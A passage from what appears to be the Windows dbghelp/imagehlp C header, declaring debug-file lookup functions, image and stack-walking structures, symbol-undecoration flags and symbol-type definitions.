HANDLE hFile;\n PUCHAR MappedAddress;\n#ifdef _IMAGEHLP64\n PIMAGE_NT_HEADERS64 FileHeader;\n#else\n PIMAGE_NT_HEADERS32 FileHeader;\n#endif\n PIMAGE_SECTION_HEADER LastRvaSection;\n ULONG NumberOfSections;\n PIMAGE_SECTION_HEADER Sections;\n ULONG Characteristics;\n BOOLEAN fSystemImage;\n BOOLEAN fDOSImage;\n BOOLEAN fReadOnly;\n UCHAR Version;\n LIST_ENTRY Links;\n ULONG SizeOfImage;\n} LOADED_IMAGE, *PLOADED_IMAGE;\n\n#define MAX_SYM_NAME 2000\n\n\n// Error codes set by dbghelp functions. Call GetLastError\n// to see them.\n// Dbghelp also sets error codes found in winerror.h\n\n#define ERROR_IMAGE_NOT_STRIPPED 0x8800 // the image is not stripped. No dbg file available.\n#define ERROR_NO_DBG_POINTER 0x8801 // image is stripped but there is no pointer to a dbg file\n#define ERROR_NO_PDB_POINTER 0x8802 // image does not point to a pdb file\n\ntypedef BOOL\n(CALLBACK *PFIND_DEBUG_FILE_CALLBACK)(\n __in HANDLE FileHandle,\n __in PCSTR FileName,\n __in PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nSymFindDebugInfoFile(\n __in HANDLE hProcess,\n __in PCSTR FileName,\n __out_ecount(MAX_PATH + 1) PSTR DebugFilePath,\n __in_opt PFIND_DEBUG_FILE_CALLBACK Callback,\n __in_opt PVOID CallerData\n );\n\ntypedef BOOL\n(CALLBACK *PFIND_DEBUG_FILE_CALLBACKW)(\n __in HANDLE FileHandle,\n __in PCWSTR FileName,\n __in PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nSymFindDebugInfoFileW(\n __in HANDLE hProcess,\n __in PCWSTR FileName,\n __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath,\n __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback,\n __in_opt PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nFindDebugInfoFile (\n __in PCSTR FileName,\n __in PCSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PSTR DebugFilePath\n );\n\nHANDLE\nIMAGEAPI\nFindDebugInfoFileEx (\n __in PCSTR FileName,\n __in PCSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PSTR DebugFilePath,\n __in_opt PFIND_DEBUG_FILE_CALLBACK Callback,\n __in_opt PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nFindDebugInfoFileExW (\n __in PCWSTR FileName,\n __in PCWSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath,\n __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback,\n __in_opt PVOID CallerData\n );\n\ntypedef BOOL\n(CALLBACK *PFINDFILEINPATHCALLBACK)(\n __in PCSTR filename,\n __in PVOID context\n );\n\nBOOL\nIMAGEAPI\nSymFindFileInPath(\n __in HANDLE hprocess,\n __in_opt PCSTR SearchPath,\n __in PCSTR FileName,\n __in_opt PVOID id,\n __in DWORD two,\n __in DWORD three,\n __in DWORD flags,\n __out_ecount(MAX_PATH + 1) PSTR FoundFile,\n __in_opt PFINDFILEINPATHCALLBACK callback,\n __in_opt PVOID context\n );\n\ntypedef BOOL\n(CALLBACK *PFINDFILEINPATHCALLBACKW)(\n __in PCWSTR filename,\n __in PVOID context\n );\n\nBOOL\nIMAGEAPI\nSymFindFileInPathW(\n __in HANDLE hprocess,\n __in_opt PCWSTR SearchPath,\n __in PCWSTR FileName,\n __in_opt PVOID id,\n __in DWORD two,\n __in DWORD three,\n __in DWORD flags,\n __out_ecount(MAX_PATH + 1) PWSTR FoundFile,\n __in_opt PFINDFILEINPATHCALLBACKW callback,\n __in_opt PVOID context\n );\n\ntypedef BOOL\n(CALLBACK *PFIND_EXE_FILE_CALLBACK)(\n __in HANDLE FileHandle,\n __in PCSTR FileName,\n __in_opt PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nSymFindExecutableImage(\n __in HANDLE hProcess,\n __in PCSTR FileName,\n __out_ecount(MAX_PATH + 1) PSTR ImageFilePath,\n __in PFIND_EXE_FILE_CALLBACK Callback,\n __in PVOID CallerData\n );\n\ntypedef BOOL\n(CALLBACK *PFIND_EXE_FILE_CALLBACKW)(\n __in HANDLE FileHandle,\n __in PCWSTR FileName,\n __in_opt PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nSymFindExecutableImageW(\n __in HANDLE hProcess,\n __in PCWSTR FileName,\n __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath,\n __in PFIND_EXE_FILE_CALLBACKW Callback,\n __in PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nFindExecutableImage(\n __in PCSTR FileName,\n __in PCSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PSTR ImageFilePath\n );\n\nHANDLE\nIMAGEAPI\nFindExecutableImageEx(\n __in PCSTR FileName,\n __in PCSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PSTR ImageFilePath,\n __in_opt PFIND_EXE_FILE_CALLBACK Callback,\n __in_opt PVOID CallerData\n );\n\nHANDLE\nIMAGEAPI\nFindExecutableImageExW(\n __in PCWSTR FileName,\n __in PCWSTR SymbolPath,\n __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath,\n __in_opt PFIND_EXE_FILE_CALLBACKW Callback,\n __in PVOID CallerData\n );\n\nPIMAGE_NT_HEADERS\nIMAGEAPI\nImageNtHeader (\n __in PVOID Base\n );\n\nPVOID\nIMAGEAPI\nImageDirectoryEntryToDataEx (\n __in PVOID Base,\n __in BOOLEAN MappedAsImage,\n __in USHORT DirectoryEntry,\n __out PULONG Size,\n __out_opt PIMAGE_SECTION_HEADER *FoundHeader\n );\n\nPVOID\nIMAGEAPI\nImageDirectoryEntryToData (\n __in PVOID Base,\n __in BOOLEAN MappedAsImage,\n __in USHORT DirectoryEntry,\n __out PULONG Size\n );\n\nPIMAGE_SECTION_HEADER\nIMAGEAPI\nImageRvaToSection(\n __in PIMAGE_NT_HEADERS NtHeaders,\n __in PVOID Base,\n __in ULONG Rva\n );\n\nPVOID\nIMAGEAPI\nImageRvaToVa(\n __in PIMAGE_NT_HEADERS NtHeaders,\n __in PVOID Base,\n __in ULONG Rva,\n __in_opt OUT PIMAGE_SECTION_HEADER *LastRvaSection\n );\n\n#ifndef _WIN64\n// This api won't be ported to Win64 - Fix your code.\n\ntypedef struct _IMAGE_DEBUG_INFORMATION {\n LIST_ENTRY List;\n DWORD ReservedSize;\n PVOID ReservedMappedBase;\n USHORT ReservedMachine;\n USHORT ReservedCharacteristics;\n DWORD ReservedCheckSum;\n DWORD ImageBase;\n DWORD SizeOfImage;\n\n DWORD ReservedNumberOfSections;\n PIMAGE_SECTION_HEADER ReservedSections;\n\n DWORD ReservedExportedNamesSize;\n PSTR ReservedExportedNames;\n\n DWORD ReservedNumberOfFunctionTableEntries;\n PIMAGE_FUNCTION_ENTRY ReservedFunctionTableEntries;\n DWORD ReservedLowestFunctionStartingAddress;\n DWORD ReservedHighestFunctionEndingAddress;\n\n DWORD ReservedNumberOfFpoTableEntries;\n PFPO_DATA ReservedFpoTableEntries;\n\n DWORD SizeOfCoffSymbols;\n PIMAGE_COFF_SYMBOLS_HEADER CoffSymbols;\n\n DWORD ReservedSizeOfCodeViewSymbols;\n PVOID ReservedCodeViewSymbols;\n\n PSTR ImageFilePath;\n PSTR ImageFileName;\n PSTR ReservedDebugFilePath;\n\n DWORD ReservedTimeDateStamp;\n\n BOOL ReservedRomImage;\n PIMAGE_DEBUG_DIRECTORY ReservedDebugDirectory;\n DWORD ReservedNumberOfDebugDirectories;\n\n DWORD ReservedOriginalFunctionTableBaseAddress;\n\n DWORD Reserved[ 2 ];\n\n} IMAGE_DEBUG_INFORMATION, *PIMAGE_DEBUG_INFORMATION;\n\n\nPIMAGE_DEBUG_INFORMATION\nIMAGEAPI\nMapDebugInformation(\n __in_opt HANDLE FileHandle,\n __in PCSTR FileName,\n __in_opt PCSTR SymbolPath,\n __in ULONG ImageBase\n );\n\nBOOL\nIMAGEAPI\nUnmapDebugInformation(\n __out_xcount(unknown) PIMAGE_DEBUG_INFORMATION DebugInfo\n );\n\n#endif\n\nBOOL\nIMAGEAPI\nSearchTreeForFile(\n __in PCSTR RootPath,\n __in PCSTR InputPathName,\n __out_ecount(MAX_PATH + 1) PSTR OutputPathBuffer\n );\n\nBOOL\nIMAGEAPI\nSearchTreeForFileW(\n __in PCWSTR RootPath,\n __in PCWSTR InputPathName,\n __out_ecount(MAX_PATH + 1) PWSTR OutputPathBuffer\n );\n\ntypedef BOOL\n(CALLBACK *PENUMDIRTREE_CALLBACK)(\n __in PCSTR FilePath,\n __in_opt PVOID CallerData\n );\n\nBOOL\nIMAGEAPI\nEnumDirTree(\n __in_opt HANDLE hProcess,\n __in PCSTR RootPath,\n __in PCSTR InputPathName,\n __out_ecount_opt(MAX_PATH + 1) PSTR OutputPathBuffer,\n __in_opt PENUMDIRTREE_CALLBACK cb,\n __in_opt PVOID data\n );\n\ntypedef BOOL\n(CALLBACK *PENUMDIRTREE_CALLBACKW)(\n __in PCWSTR FilePath,\n __in_opt PVOID CallerData\n );\n\nBOOL\nIMAGEAPI\nEnumDirTreeW(\n __in_opt HANDLE hProcess,\n __in PCWSTR RootPath,\n __in PCWSTR InputPathName,\n __out_ecount_opt(MAX_PATH + 1) PWSTR OutputPathBuffer,\n __in_opt PENUMDIRTREE_CALLBACKW cb,\n __in_opt PVOID data\n );\n\nBOOL\nIMAGEAPI\nMakeSureDirectoryPathExists(\n __in PCSTR DirPath\n );\n\n//\n// UnDecorateSymbolName Flags\n//\n\n#define UNDNAME_COMPLETE (0x0000) // Enable full undecoration\n#define UNDNAME_NO_LEADING_UNDERSCORES (0x0001) // Remove leading underscores from MS extended keywords\n#define UNDNAME_NO_MS_KEYWORDS (0x0002) // Disable expansion of MS extended keywords\n#define UNDNAME_NO_FUNCTION_RETURNS (0x0004) // Disable expansion of return type for primary declaration\n#define UNDNAME_NO_ALLOCATION_MODEL (0x0008) // Disable expansion of the declaration model\n#define UNDNAME_NO_ALLOCATION_LANGUAGE (0x0010) // Disable expansion of the declaration language specifier\n#define UNDNAME_NO_MS_THISTYPE (0x0020) // NYI Disable expansion of MS keywords on the 'this' type for primary declaration\n#define UNDNAME_NO_CV_THISTYPE (0x0040) // NYI Disable expansion of CV modifiers on the 'this' type for primary declaration\n#define UNDNAME_NO_THISTYPE (0x0060) // Disable all modifiers on the 'this' type\n#define UNDNAME_NO_ACCESS_SPECIFIERS (0x0080) // Disable expansion of access specifiers for members\n#define UNDNAME_NO_THROW_SIGNATURES (0x0100) // Disable expansion of 'throw-signatures' for functions and pointers to functions\n#define UNDNAME_NO_MEMBER_TYPE (0x0200) // Disable expansion of 'static' or 'virtual'ness of members\n#define UNDNAME_NO_RETURN_UDT_MODEL (0x0400) // Disable expansion of MS model for UDT returns\n#define UNDNAME_32_BIT_DECODE (0x0800) // Undecorate 32-bit decorated names\n#define UNDNAME_NAME_ONLY (0x1000) // Crack only the name for primary declaration;\n // return just [scope::]name. Does expand template params\n#define UNDNAME_NO_ARGUMENTS (0x2000) // Don't undecorate arguments to function\n#define UNDNAME_NO_SPECIAL_SYMS (0x4000) // Don't undecorate special names (v-table, vcall, vector xxx, metatype, etc)\n\nDWORD\nIMAGEAPI\nWINAPI\nUnDecorateSymbolName(\n __in PCSTR name,\n __out_ecount(maxStringLength) PSTR outputString,\n __in DWORD maxStringLength,\n __in DWORD flags\n );\n\nDWORD\nIMAGEAPI\nWINAPI\nUnDecorateSymbolNameW(\n __in PCWSTR name,\n __out_ecount(maxStringLength) PWSTR outputString,\n __in DWORD maxStringLength,\n __in DWORD flags\n );\n\n//\n// these values are used for synthesized file types\n// that can be passed in as image headers instead of\n// the standard ones from ntimage.h\n//\n\n#define DBHHEADER_DEBUGDIRS 0x1\n#define DBHHEADER_CVMISC 0x2\n#define DBHHEADER_PDBGUID 0x3\ntypedef struct _MODLOAD_DATA {\n DWORD ssize; // size of this struct\n DWORD ssig; // signature identifying the passed data\n PVOID data; // pointer to passed data\n DWORD size; // size of passed data\n DWORD flags; // options\n} MODLOAD_DATA, *PMODLOAD_DATA;\n\ntypedef struct _MODLOAD_CVMISC {\n DWORD oCV; // ofset to the codeview record\n size_t cCV; // size of the codeview record\n DWORD oMisc; // offset to the misc record\n size_t cMisc; // size of the misc record\n DWORD dtImage; // datetime stamp of the image\n DWORD cImage; // size of the image\n} MODLOAD_CVMISC, *PMODLOAD_CVMISC;\n\ntypedef struct _MODLOAD_PDBGUID_PDBAGE {\n GUID PdbGuid; // Pdb Guid \n DWORD PdbAge; // Pdb Age \n} MODLOAD_PDBGUID_PDBAGE, *PMODLOAD_PDBGUID_PDBAGE;\n\n//\n// StackWalking API\n//\n\ntypedef enum {\n AddrMode1616,\n AddrMode1632,\n AddrModeReal,\n AddrModeFlat\n} ADDRESS_MODE;\n\ntypedef struct _tagADDRESS64 {\n DWORD64 Offset;\n WORD Segment;\n ADDRESS_MODE Mode;\n} ADDRESS64, *LPADDRESS64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define ADDRESS ADDRESS64\n#define LPADDRESS LPADDRESS64\n#else\ntypedef struct _tagADDRESS {\n DWORD Offset;\n WORD Segment;\n ADDRESS_MODE Mode;\n} ADDRESS, *LPADDRESS;\n\n__inline\nvoid\nAddress32To64(\n __in LPADDRESS a32,\n __out LPADDRESS64 a64\n )\n{\n a64->Offset = (ULONG64)(LONG64)(LONG)a32->Offset;\n a64->Segment = a32->Segment;\n a64->Mode = a32->Mode;\n}\n\n__inline\nvoid\nAddress64To32(\n __in LPADDRESS64 a64,\n __out LPADDRESS a32\n )\n{\n a32->Offset = (ULONG)a64->Offset;\n a32->Segment = a64->Segment;\n a32->Mode = a64->Mode;\n}\n#endif\n\n//\n// This structure is included in the STACKFRAME structure,\n// and is used to trace through usermode callbacks in a thread's\n// kernel stack. The values must be copied by the kernel debugger\n// from the DBGKD_GET_VERSION and WAIT_STATE_CHANGE packets.\n//\n\n//\n// New KDHELP structure for 64 bit system support.\n// This structure is preferred in new code.\n//\ntypedef struct _KDHELP64 {\n\n //\n // address of kernel thread object, as provided in the\n // WAIT_STATE_CHANGE packet.\n //\n DWORD64 Thread;\n\n //\n // offset in thread object to pointer to the current callback frame\n // in kernel stack.\n //\n DWORD ThCallbackStack;\n\n //\n // offset in thread object to pointer to the current callback backing\n // store frame in kernel stack.\n //\n DWORD ThCallbackBStore;\n\n //\n // offsets to values in frame:\n //\n // address of next callback frame\n DWORD NextCallback;\n\n // address of saved frame pointer (if applicable)\n DWORD FramePointer;\n\n\n //\n // Address of the kernel function that calls out to user mode\n //\n DWORD64 KiCallUserMode;\n\n //\n // Address of the user mode dispatcher function\n //\n DWORD64 KeUserCallbackDispatcher;\n\n //\n // Lowest kernel mode address\n //\n DWORD64 SystemRangeStart;\n\n //\n // Address of the user mode exception dispatcher function.\n // Added in API version 10.\n //\n DWORD64 KiUserExceptionDispatcher;\n\n //\n // Stack bounds, added in API version 11.\n //\n DWORD64 StackBase;\n DWORD64 StackLimit;\n\n DWORD64 Reserved[5];\n\n} KDHELP64, *PKDHELP64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define KDHELP KDHELP64\n#define PKDHELP PKDHELP64\n#else\ntypedef struct _KDHELP {\n\n //\n // address of kernel thread object, as provided in the\n // WAIT_STATE_CHANGE packet.\n //\n DWORD Thread;\n\n //\n // offset in thread object to pointer to the current callback frame\n // in kernel stack.\n //\n DWORD ThCallbackStack;\n\n //\n // offsets to values in frame:\n //\n // address of next callback frame\n DWORD NextCallback;\n\n // address of saved frame pointer (if applicable)\n DWORD FramePointer;\n\n //\n // Address of the kernel function that calls out to user mode\n //\n DWORD KiCallUserMode;\n\n //\n // Address of the user mode dispatcher function\n //\n DWORD KeUserCallbackDispatcher;\n\n //\n // Lowest kernel mode address\n //\n DWORD SystemRangeStart;\n\n //\n // offset in thread object to pointer to the current callback backing\n // store frame in kernel stack.\n //\n DWORD ThCallbackBStore;\n\n //\n // Address of the user mode exception dispatcher function.\n // Added in API version 10.\n //\n DWORD KiUserExceptionDispatcher;\n\n //\n // Stack bounds, added in API version 11.\n //\n DWORD StackBase;\n DWORD StackLimit;\n\n DWORD Reserved[5];\n\n} KDHELP, *PKDHELP;\n\n__inline\nvoid\nKdHelp32To64(\n __in PKDHELP p32,\n __out PKDHELP64 p64\n )\n{\n p64->Thread = p32->Thread;\n p64->ThCallbackStack = p32->ThCallbackStack;\n p64->NextCallback = p32->NextCallback;\n p64->FramePointer = p32->FramePointer;\n p64->KiCallUserMode = p32->KiCallUserMode;\n p64->KeUserCallbackDispatcher = p32->KeUserCallbackDispatcher;\n p64->SystemRangeStart = p32->SystemRangeStart;\n p64->KiUserExceptionDispatcher = p32->KiUserExceptionDispatcher;\n p64->StackBase = p32->StackBase;\n p64->StackLimit = p32->StackLimit;\n}\n#endif\n\ntypedef struct _tagSTACKFRAME64 {\n ADDRESS64 AddrPC; // program counter\n ADDRESS64 AddrReturn; // return address\n ADDRESS64 AddrFrame; // frame pointer\n ADDRESS64 AddrStack; // stack pointer\n ADDRESS64 AddrBStore; // backing store pointer\n PVOID FuncTableEntry; // pointer to pdata/fpo or NULL\n DWORD64 Params[4]; // possible arguments to the function\n BOOL Far; // WOW far call\n BOOL Virtual; // is this a virtual frame?\n DWORD64 Reserved[3];\n KDHELP64 KdHelp;\n} STACKFRAME64, *LPSTACKFRAME64;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define STACKFRAME STACKFRAME64\n#define LPSTACKFRAME LPSTACKFRAME64\n#else\ntypedef struct _tagSTACKFRAME {\n ADDRESS AddrPC; // program counter\n ADDRESS AddrReturn; // return address\n ADDRESS AddrFrame; // frame pointer\n ADDRESS AddrStack; // stack pointer\n PVOID FuncTableEntry; // pointer to pdata/fpo or NULL\n DWORD Params[4]; // possible arguments to the function\n BOOL Far; // WOW far call\n BOOL Virtual; // is this a virtual frame?\n DWORD Reserved[3];\n KDHELP KdHelp;\n ADDRESS AddrBStore; // backing store pointer\n} STACKFRAME, *LPSTACKFRAME;\n#endif\n\n\ntypedef\nBOOL\n(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE64)(\n __in HANDLE hProcess,\n __in DWORD64 qwBaseAddress,\n __out_bcount(nSize) PVOID lpBuffer,\n __in DWORD nSize,\n __out LPDWORD lpNumberOfBytesRead\n );\n\ntypedef\nPVOID\n(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE64)(\n __in HANDLE ahProcess,\n __in DWORD64 AddrBase\n );\n\ntypedef\nDWORD64\n(__stdcall *PGET_MODULE_BASE_ROUTINE64)(\n __in HANDLE hProcess,\n __in DWORD64 Address\n );\n\ntypedef\nDWORD64\n(__stdcall *PTRANSLATE_ADDRESS_ROUTINE64)(\n __in HANDLE hProcess,\n __in HANDLE hThread,\n __in LPADDRESS64 lpaddr\n );\n\nBOOL\nIMAGEAPI\nStackWalk64(\n __in DWORD MachineType,\n __in HANDLE hProcess,\n __in HANDLE hThread,\n __inout LPSTACKFRAME64 StackFrame,\n __inout PVOID ContextRecord,\n __in_opt PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine,\n __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine,\n __in_opt PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine,\n __in_opt PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n\n#define PREAD_PROCESS_MEMORY_ROUTINE PREAD_PROCESS_MEMORY_ROUTINE64\n#define PFUNCTION_TABLE_ACCESS_ROUTINE PFUNCTION_TABLE_ACCESS_ROUTINE64\n#define PGET_MODULE_BASE_ROUTINE PGET_MODULE_BASE_ROUTINE64\n#define PTRANSLATE_ADDRESS_ROUTINE PTRANSLATE_ADDRESS_ROUTINE64\n\n#define StackWalk StackWalk64\n\n#else\n\ntypedef\nBOOL\n(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE)(\n __in HANDLE hProcess,\n __in DWORD lpBaseAddress,\n __out_bcount(nSize) PVOID lpBuffer,\n __in DWORD nSize,\n __out PDWORD lpNumberOfBytesRead\n );\n\ntypedef\nPVOID\n(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE)(\n __in HANDLE hProcess,\n __in DWORD AddrBase\n );\n\ntypedef\nDWORD\n(__stdcall *PGET_MODULE_BASE_ROUTINE)(\n __in HANDLE hProcess,\n __in DWORD Address\n );\n\ntypedef\nDWORD\n(__stdcall *PTRANSLATE_ADDRESS_ROUTINE)(\n __in HANDLE hProcess,\n __in HANDLE hThread,\n __out LPADDRESS lpaddr\n );\n\nBOOL\nIMAGEAPI\nStackWalk(\n DWORD MachineType,\n __in HANDLE hProcess,\n __in HANDLE hThread,\n __inout LPSTACKFRAME StackFrame,\n __inout PVOID ContextRecord,\n __in_opt PREAD_PROCESS_MEMORY_ROUTINE ReadMemoryRoutine,\n __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE FunctionTableAccessRoutine,\n __in_opt PGET_MODULE_BASE_ROUTINE GetModuleBaseRoutine,\n __in_opt PTRANSLATE_ADDRESS_ROUTINE TranslateAddress\n );\n\n#endif\n\n\n#define API_VERSION_NUMBER 11\n\ntypedef struct API_VERSION {\n USHORT MajorVersion;\n USHORT MinorVersion;\n USHORT Revision;\n USHORT Reserved;\n} API_VERSION, *LPAPI_VERSION;\n\nLPAPI_VERSION\nIMAGEAPI\nImagehlpApiVersion(\n VOID\n );\n\nLPAPI_VERSION\nIMAGEAPI\nImagehlpApiVersionEx(\n __in LPAPI_VERSION AppVersion\n );\n\nDWORD\nIMAGEAPI\nGetTimestampForLoadedLibrary(\n __in HMODULE Module\n );\n\n//\n// typedefs for function pointers\n//\ntypedef BOOL\n(CALLBACK *PSYM_ENUMMODULES_CALLBACK64)(\n __in PCSTR ModuleName,\n __in DWORD64 BaseOfDll,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMMODULES_CALLBACKW64)(\n __in PCWSTR ModuleName,\n __in DWORD64 BaseOfDll,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PENUMLOADED_MODULES_CALLBACK64)(\n __in PCSTR ModuleName,\n __in DWORD64 ModuleBase,\n __in ULONG ModuleSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PENUMLOADED_MODULES_CALLBACKW64)(\n __in PCWSTR ModuleName,\n __in DWORD64 ModuleBase,\n __in ULONG ModuleSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64)(\n __in PCSTR SymbolName,\n __in DWORD64 SymbolAddress,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64W)(\n __in PCWSTR SymbolName,\n __in DWORD64 SymbolAddress,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYMBOL_REGISTERED_CALLBACK64)(\n __in HANDLE hProcess,\n __in ULONG ActionCode,\n __in_opt ULONG64 CallbackData,\n __in_opt ULONG64 UserContext\n );\n\ntypedef\nPVOID\n(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK)(\n __in HANDLE hProcess,\n __in DWORD AddrBase,\n __in_opt PVOID UserContext\n );\n\ntypedef\nPVOID\n(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK64)(\n __in HANDLE hProcess,\n __in ULONG64 AddrBase,\n __in ULONG64 UserContext\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n\n#define PSYM_ENUMMODULES_CALLBACK PSYM_ENUMMODULES_CALLBACK64\n#define PSYM_ENUMSYMBOLS_CALLBACK PSYM_ENUMSYMBOLS_CALLBACK64\n#define PSYM_ENUMSYMBOLS_CALLBACKW PSYM_ENUMSYMBOLS_CALLBACK64W\n#define PENUMLOADED_MODULES_CALLBACK PENUMLOADED_MODULES_CALLBACK64\n#define PSYMBOL_REGISTERED_CALLBACK PSYMBOL_REGISTERED_CALLBACK64\n#define PSYMBOL_FUNCENTRY_CALLBACK PSYMBOL_FUNCENTRY_CALLBACK64\n\n#else\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMMODULES_CALLBACK)(\n __in PCSTR ModuleName,\n __in ULONG BaseOfDll,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK)(\n __in PCSTR SymbolName,\n __in ULONG SymbolAddress,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACKW)(\n __in PCWSTR SymbolName,\n __in ULONG SymbolAddress,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PENUMLOADED_MODULES_CALLBACK)(\n __in PCSTR ModuleName,\n __in ULONG ModuleBase,\n __in ULONG ModuleSize,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYMBOL_REGISTERED_CALLBACK)(\n __in HANDLE hProcess,\n __in ULONG ActionCode,\n __in_opt PVOID CallbackData,\n __in_opt PVOID UserContext\n );\n\n#endif\n\n\n// values found in SYMBOL_INFO.Tag\n//\n// This was taken from cvconst.h and should\n// not override any values found there.\n//\n// #define _NO_CVCONST_H_ if you don't\n// have access to that file...\n\n#ifdef _NO_CVCONST_H\n\n// DIA enums\n\nenum SymTagEnum\n{\n SymTagNull,\n SymTagExe,\n SymTagCompiland,\n SymTagCompilandDetails,\n SymTagCompilandEnv,\n SymTagFunction,\n SymTagBlock,\n SymTagData,\n SymTagAnnotation,\n SymTagLabel,\n SymTagPublicSymbol,\n SymTagUDT,\n SymTagEnum,\n SymTagFunctionType,\n SymTagPointerType,\n SymTagArrayType,\n SymTagBaseType,\n SymTagTypedef,\n SymTagBaseClass,\n SymTagFriend,\n SymTagFunctionArgType,\n SymTagFuncDebugStart,\n SymTagFuncDebugEnd,\n SymTagUsingNamespace,\n SymTagVTableShape,\n SymTagVTable,\n SymTagCustom,\n SymTagThunk,\n SymTagCustomType,\n SymTagManagedType,\n SymTagDimension,\n SymTagMax\n};\n\n#endif\n\n//\n// flags found in SYMBOL_INFO.Flags\n//\n\n#define SYMFLAG_VALUEPRESENT 0x00000001\n#define SYMFLAG_REGISTER 0x00000008\n#define SYMFLAG_REGREL 0x00000010\n#define SYMFLAG_FRAMEREL 0x00000020\n#define SYMFLAG_PARAMETER 0x00000040\n#define SYMFLAG_LOCAL 0x00000080\n#define SYMFLAG_CONSTANT 0x00000100\n#define SYMFLAG_EXPORT 0x00000200\n#define SYMFLAG_FORWARDER 0x00000400\n#define SYMFLAG_FUNCTION 0x00000800\n#define SYMFLAG_VIRTUAL 0x00001000\n#define SYMFLAG_THUNK 0x00002000\n#define SYMFLAG_TLSREL 0x00004000\n#define SYMFLAG_SLOT 0x00008000\n#define SYMFLAG_ILREL 0x00010000\n#define SYMFLAG_METADATA 0x00020000\n#define SYMFLAG_CLR_TOKEN 0x00040000\n\n// this resets SymNext/Prev to the beginning\n// of the module passed in the address field\n\n#define SYMFLAG_RESET 0x80000000\n\n//\n// symbol type enumeration\n//\ntypedef enum {\n SymNone = 0,\n SymCoff,\n SymCv,\n SymPdb,\n SymExport,\n SymDeferred,\n SymSym, // .sym file\n SymDia,\n SymVirtual,\n NumSymTypes\n} SYM_TYPE;\n\n//\n// symbol data structure\n//\n\ntypedef struct _IMAGEHLP_SYMBOL64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL64)\n DWORD64 Address; // virtual address including dll base address\n DWORD Size; // estimated size of symbol, can be zero\n DWORD Flags; // info about the symbols, see the SYMF defines\n DWORD MaxNameLength; // maximum size of symbol name in 'Name'\n CHAR Name[1]; // symbol name (null terminated string)\n} IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64;\n\ntypedef struct _IMAGEHLP_SYMBOL64_PACKAGE {\n IMAGEHLP_SYMBOL64 sym;\n CHAR name[MAX_SYM_NAME + 1];\n} IMAGEHLP_SYMBOL64_PACKAGE, *PIMAGEHLP_SYMBOL64_PACKAGE;\n\ntypedef struct _IMAGEHLP_SYMBOLW64 {\n DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW64)\n DWORD64 Address; // virtual address including dll base address\n DWORD Size; // estimated size of symbol, can be zero\n DWORD Flags; // info about the symbols, see the SYMF defines\n DWORD MaxNameLength; // maximum size of symbol name in 'Name'\n WCHAR Name[1]; // symbol name (null terminated string)\n} IMAGEHLP_SYMBOLW64, *PIMAGEHLP_SYMBOLW64;\n\ntypedef struct _IMAGEHLP_SYMBOLW64_PACKAGE {\n IMAGEHLP_SYMBOLW64 sym;\n WCHAR name[MAX_SYM_NAME + 1];\n} IMAGEHLP_SYMBOLW64_PACKAGE, *PIMAGEHLP_SYMBOLW64_PACKAGE;\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n\n #define IMAGEHLP_SYMBOL IMAGEHLP_SYMBOL64\n #define PIMAGEHLP_SYMBOL PIMAGEHLP_SYMBOL64\n #define IMAGEHLP_SYMBOL_PACKAGE IMAGEHLP_SYMBOL64_PACKAGE\n #define PIMAGEHLP_SYMBOL_PACKAGE 